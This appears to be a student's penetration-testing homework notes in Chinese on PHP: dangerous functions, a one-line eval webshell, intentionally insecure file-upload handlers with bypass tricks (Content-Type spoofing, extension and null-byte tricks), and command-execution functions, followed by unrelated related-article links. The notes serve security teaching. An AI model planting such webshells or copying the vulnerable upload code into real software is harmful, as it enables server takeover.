安全渗透第二次作业
PHP 函数##把字符串当作 PHP 代码执行 // eval()这种写法会暴露系统信息?php eval($_GET[code]); phpinfo(); system(ls -l);php代码中用于执行系统命令的 //执行的是php中的函数 ?**Webshell 常见写法**/;/一句话木马?php eval($_POST[cmd]); ?1.核心上传函数函数作用示例move_uploaded_file()将上传的临时文件移动到新位置move_uploaded_file($tmp, $dest)is_uploaded_file()判断文件是否通过 HTTP POST 上传is_uploaded_file($tmp)copy()复制文件copy($src, $dest)file_put_contents()写入文件file_put_contents($file, $content)2.判断上传错误的常量常量值含义UPLOAD_ERR_OK0上传成功UPLOAD_ERR_INI_SIZE1超出 php.ini 的upload_max_filesizeUPLOAD_ERR_FORM_SIZE2超出表单MAX_FILE_SIZEUPLOAD_ERR_PARTIAL3文件只有部分被上传UPLOAD_ERR_NO_FILE4没有文件被上传UPLOAD_ERR_NO_TMP_DIR6找不到临时文件夹3.文件上传3.1无任何校验高危?php $target uploads/ . $_FILES[file][name]; move_uploaded_file($_FILES[file][tmp_name], $target); ?漏洞: 直接上传 webshell无任何限制3.2只校验 Content-Type前端校验可绕过?php $type $_FILES[file][type]; if ($type image/jpeg || $type image/png) { move_uploaded_file($_FILES[file][tmp_name], $target); } ?漏洞:Content-Type由客户端控制抓包改Content-Type: image/jpeg即可绕过3.3只校验后缀名黑名单?php $block array(php, php3, php5, phtml, pht); $ext pathinfo($filename, PATHINFO_EXTENSION); if (!in_array($ext, $block)) { move_uploaded_file(...); } ?漏洞: 可上传xxx.php.jpg、xxx.phtml、xxx.PhP大小写、xxx.php%00.jpg00截断3.4只校验文件扩展名白名单?php $allow array(jpg, png, gif); $ext strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (in_array($ext, $allow)) { move_uploaded_file(...); } ?漏洞: 依赖服务器解析漏洞apache 的x.php.jpg解析为 PHP或内容中包含代码4.直接执行系统命令函数说明返回system()执行命令并输出结果最后一行exec()执行命令不输出最后一行shell_exec()执行命令返回完整输出整个输出passthru()执行命令直接输出原始结果无popen()打开进程管道文件指针proc_open()更底层的进程控制资源

相关新闻

瑞萨RA4M2开发板硬件识别、环境搭建与点灯调试全攻略

瑞萨RA4M2开发板硬件识别、环境搭建与点灯调试全攻略

1. 项目缘起:从“R7FA4 PLUS A”这个神秘代号说起最近在整理一些老旧的嵌入式开发板资料时,翻出了一个贴着“R7FA4 PLUS A”标签的板子。说实话,第一眼看到这个标签,我也愣了一下。它不像我们常见的Arduino Uno、Raspberry Pi P4那…

2026/8/1 20:02:44阅读更多 →
从重复操作到自动化闭环:如何让 CST 与 Python 真正协同起来

从重复操作到自动化闭环:如何让 CST 与 Python 真正协同起来

在工程设计与仿真工作中,最消耗时间的,往往不是一次高难度分析,而是那些日复一日、步骤固定、却又不能出错的重复操作。模型搭建、参数调整、结果提取、方案对比、优化迭代……当项目复杂度不断提升,单纯依赖人工执行,…

2026/8/1 20:02:44阅读更多 →
美容院收银系统升级选型指南:4大顾虑逐一拆解

美容院收银系统升级选型指南:4大顾虑逐一拆解

背景美容院换收银系统是常见需求。但换系统涉及数据迁移、会员信息延续、成本核算和员工培训等多个环节,顾虑多。本文逐一拆解。顾虑一:数据丢了怎么办问题描述:担心迁移过程中数据丢失,影响经营。正确做法:正规迁移流…

2026/8/1 20:02:44阅读更多 →
GD32H7实战:GPIO滤波抗干扰、CRC校验与TRNG随机数配置详解

GD32H7实战:GPIO滤波抗干扰、CRC校验与TRNG随机数配置详解

1. 项目概述:深入GD32H73x/75x的硬件细节最近在调试基于GD32H73x系列MCU的一个工控项目,遇到了一个挺有意思的问题。设备在强电磁干扰的车间环境下,偶尔会误触发一个按键信号,导致设备状态异常。排查了半天软件逻辑都没问题&#…

2026/8/1 23:58:10阅读更多 →
Lance湖仓格式:为多模态AI工作流设计的终极数据存储方案

Lance湖仓格式:为多模态AI工作流设计的终极数据存储方案

Lance湖仓格式:为多模态AI工作流设计的终极数据存储方案 【免费下载链接】lance Open Lakehouse Format for Multimodal AI. Convert from Parquet in 2 lines of code for 100x faster random access, vector index, and data versioning. Compatible with Pandas,…

2026/8/1 23:58:10阅读更多 →
从零开始掌握机器学习数学:鸢尾花书《数学要素》完整学习指南

从零开始掌握机器学习数学:鸢尾花书《数学要素》完整学习指南

从零开始掌握机器学习数学:鸢尾花书《数学要素》完整学习指南 【免费下载链接】Book3_Elements-of-Mathematics Book_3_《数学要素》 | 鸢尾花书:从加减乘除到机器学习;上架;欢迎继续纠错,纠错多的同学还会有赠书&…

2026/8/1 23:58:10阅读更多 →
3步突破Windows远程桌面限制:RDP Wrapper完整解锁指南

3步突破Windows远程桌面限制:RDP Wrapper完整解锁指南

3步突破Windows远程桌面限制:RDP Wrapper完整解锁指南 【免费下载链接】rdpwrap RDP Wrapper Library 项目地址: https://gitcode.com/gh_mirrors/rd/rdpwrap 你是否曾经在Windows家庭版上尝试使用远程桌面,却遇到"不支持"的提示&#…

2026/8/1 23:58:10阅读更多 →
1.27英寸RGB OLED驱动开发全攻略:SSD1351芯片解析与STM32实战

1.27英寸RGB OLED驱动开发全攻略:SSD1351芯片解析与STM32实战

1. 项目缘起:为什么是1.27英寸RGB OLED?最近在捣鼓一个需要显示彩色图标和动态数据的小玩意儿,选屏幕时犯了难。传统的单色OLED(比如SSD1306驱动的那些)虽然省电、对比度高,但只能显示单调的白色或蓝色&…

2026/8/1 23:58:10阅读更多 →
ClawSec安全顾问订阅指南:如何获取NVD CVE和社区威胁情报

ClawSec安全顾问订阅指南:如何获取NVD CVE和社区威胁情报

ClawSec安全顾问订阅指南:如何获取NVD CVE和社区威胁情报 【免费下载链接】clawsec A complete security skill suite for OpenClaw, Hermes, PicoClaw and NanoClaw agents (and variants). Protect your SOUL.md (etc) with drift detection, live security recom…

2026/8/1 23:56:10阅读更多 →
覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

覆盖国产 + 海外 + 开源模型,OpenClaw 2.7.9 Windows/Mac 双端部署详解

🔹 工具基础介绍 OpenClaw 是开源生态中一款实用性较强的本地智能工具,凭借本地离线运行、可视化图形操作和任务自动化三大核心特性,赢得了众多用户的青睐。与普通在线对话AI工具不同,它属于能够直接操控本机软硬件的智能数字员工…

2026/8/1 21:54:49阅读更多 →
伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

伺服阀焊完微漏毁整机?精密激光焊接三关锁住高压

所谓液压伺服阀体的精密激光焊接,是用激光束对阀座壳体(通常为不锈钢或铝合金)进行密封焊接,使阀体在21-35MPa的高压液压油或压缩气体中长期运行而不发生介质泄漏。液压伺服阀是高端液压系统的"大脑"。从航空航天飞行控…

2026/8/1 22:30:08阅读更多 →
D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南

D2DX:三步实现《暗黑破坏神2》高清宽屏体验的终极指南 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你是否还在…

2026/8/1 21:14:15阅读更多 →
无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理 【免费下载链接】lossless-cut The swiss army knife of lossless video/audio editing 项目地址: https://gitcode.com/gh_mirrors/lo/lossless-cut 在数字媒体创作领域,视频编辑处理的质量损…

2026/8/1 0:00:10阅读更多 →
AI辅助本科论文写作:8大工具评测与高效使用指南

AI辅助本科论文写作:8大工具评测与高效使用指南

1. 本科生论文写作的AI辅助现状本科毕业论文是每个大学生必须跨越的一道坎。记得我当年写论文时,光是文献检索就花了整整两周时间,打印的参考文献堆满了半个书桌。如今AI技术的发展为学术写作带来了革命性变化,合理使用这些工具可以节省80%以…

2026/8/1 0:00:10阅读更多 →
如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手 【免费下载链接】ticket-purchase 大麦自动抢票,支持人员、城市、日期场次、价格选择 项目地址: https://gitcode.com/GitHub_Trending/ti/ticket-purchase 还在为抢不到热门演唱会门票…

2026/8/1 0:00:10阅读更多 →
无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理

无损视频剪辑终极指南:如何实现快速高效的多媒体处理 【免费下载链接】lossless-cut The swiss army knife of lossless video/audio editing 项目地址: https://gitcode.com/gh_mirrors/lo/lossless-cut 在数字媒体创作领域,视频编辑处理的质量损…

2026/8/1 0:00:10阅读更多 →
AI辅助本科论文写作:8大工具评测与高效使用指南

AI辅助本科论文写作:8大工具评测与高效使用指南

1. 本科生论文写作的AI辅助现状本科毕业论文是每个大学生必须跨越的一道坎。记得我当年写论文时,光是文献检索就花了整整两周时间,打印的参考文献堆满了半个书桌。如今AI技术的发展为学术写作带来了革命性变化,合理使用这些工具可以节省80%以…

2026/8/1 0:00:10阅读更多 →
如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手

如何快速配置大麦自动抢票系统:从零开始搭建Python抢票助手 【免费下载链接】ticket-purchase 大麦自动抢票,支持人员、城市、日期场次、价格选择 项目地址: https://gitcode.com/GitHub_Trending/ti/ticket-purchase 还在为抢不到热门演唱会门票…

2026/8/1 0:00:10阅读更多 →